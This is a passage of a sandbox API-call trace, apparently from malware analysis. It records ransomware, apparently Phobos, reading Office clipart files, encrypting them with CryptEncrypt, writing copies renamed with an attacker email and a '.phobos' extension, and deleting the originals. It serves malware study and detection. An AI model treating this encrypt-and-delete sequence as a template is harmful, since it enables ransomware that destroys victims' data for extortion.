dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752e98) returned 1 [0136.953] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0136.953] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0136.953] CryptDestroyKey (hKey=0x752e98) returned 1 [0136.953] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0136.953] CryptDestroyKey (hKey=0x752e18) returned 1 [0136.953] CloseHandle (hObject=0x30c) returned 1 [0136.953] CloseHandle (hObject=0x2f8) returned 1 [0136.953] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0136.954] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0136.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0136.954] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=11190) returned 1 [0136.954] CloseHandle (hObject=0x2f8) returned 1 [0136.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 0x220 [0136.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0136.955] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0136.955] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0136.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0136.955] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753098) returned 1 [0136.955] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0136.955] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x2bb6, lpOverlapped=0x0) returned 1 [0137.065] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2bc0, dwBufLen=0x2bc0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2bc0) returned 1 [0137.065] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x2bc0, lpOverlapped=0x0) returned 1 [0137.066] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752f18) returned 1 [0137.066] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0137.066] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0137.066] CryptDestroyKey (hKey=0x752f18) returned 1 [0137.066] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0137.066] CryptDestroyKey (hKey=0x753098) returned 1 [0137.066] CloseHandle (hObject=0x2f8) returned 1 [0137.066] CloseHandle (hObject=0x30c) returned 1 [0137.066] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0137.067] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0137.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0137.068] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=696) returned 1 [0137.068] CloseHandle (hObject=0x30c) returned 1 [0137.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 0x220 [0137.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0137.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0137.068] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0137.068] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0137.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0137.069] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753098) returned 1 [0137.069] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0137.069] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x2b8, lpOverlapped=0x0) returned 1 [0137.070] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2c0) returned 1 [0137.070] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x2c0, lpOverlapped=0x0) returned 1 [0137.070] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752a98) returned 1 [0137.070] CryptSetKeyParam (hKey=0x752a98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0137.070] CryptEncrypt (in: hKey=0x752a98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0137.070] CryptDestroyKey (hKey=0x752a98) returned 1 [0137.070] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0137.070] CryptDestroyKey (hKey=0x753098) returned 1 [0137.071] CloseHandle (hObject=0x30c) returned 1 [0137.071] CloseHandle (hObject=0x2f8) returned 1 [0137.071] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0137.071] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0137.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0137.072] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1928) returned 1 [0137.072] CloseHandle (hObject=0x2f8) returned 1 [0137.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 0x220 [0137.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0137.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0137.072] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0137.072] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0137.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0137.072] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752e18) returned 1 [0137.072] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0137.072] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x788, lpOverlapped=0x0) returned 1 [0137.194] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x790, dwBufLen=0x790 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x790) returned 1 [0137.194] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x790, lpOverlapped=0x0) returned 1 [0137.195] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752b18) returned 1 [0137.195] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0137.195] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0137.195] CryptDestroyKey (hKey=0x752b18) returned 1 [0137.195] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0137.195] CryptDestroyKey (hKey=0x752e18) returned 1 [0137.195] CloseHandle (hObject=0x2f8) returned 1 [0137.195] CloseHandle (hObject=0x30c) returned 1 [0137.195] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0137.196] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0137.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0137.197] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=9172) returned 1 [0137.197] CloseHandle (hObject=0x30c) returned 1 [0137.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 0x220 [0137.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0137.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0137.197] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0137.197] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0137.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0137.198] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753198) returned 1 [0137.198] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0137.198] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x23d4, lpOverlapped=0x0) returned 1 [0137.275] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x23e0, dwBufLen=0x23e0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x23e0) returned 1 [0137.275] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x23e0, lpOverlapped=0x0) returned 1 [0137.276] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752d18) returned 1 [0137.276] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0137.276] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0137.276] CryptDestroyKey (hKey=0x752d18) returned 1 [0137.276] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0137.277] CryptDestroyKey (hKey=0x753198) returned 1 [0137.277] CloseHandle (hObject=0x30c) returned 1 [0137.277] CloseHandle (hObject=0x2f8) returned 1 [0137.277] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0137.278] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0137.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0137.278] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=12748) returned 1 [0137.278] CloseHandle (hObject=0x2f8) returned 1 [0137.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 0x220 [0137.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0137.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0137.279] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0137.279] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0137.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0137.279] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x7530d8) returned 1 [0137.279] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0137.279] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x31cc, lpOverlapped=0x0) returned 1 [0137.664] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x31d0, dwBufLen=0x31d0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x31d0) returned 1 [0137.664] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x31d0, lpOverlapped=0x0) returned 1 [0137.665] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752e58) returned 1 [0137.665] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0137.665] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0137.665] CryptDestroyKey (hKey=0x752e58) returned 1 [0137.665] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0137.665] CryptDestroyKey (hKey=0x7530d8) returned 1 [0137.665] CloseHandle (hObject=0x2f8) returned 1 [0137.665] CloseHandle (hObject=0x30c) returned 1 [0137.666] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0137.666] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0137.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0137.667] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=6920) returned 1 [0137.667] CloseHandle (hObject=0x30c) returned 1 [0137.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 0x220 [0137.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0137.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 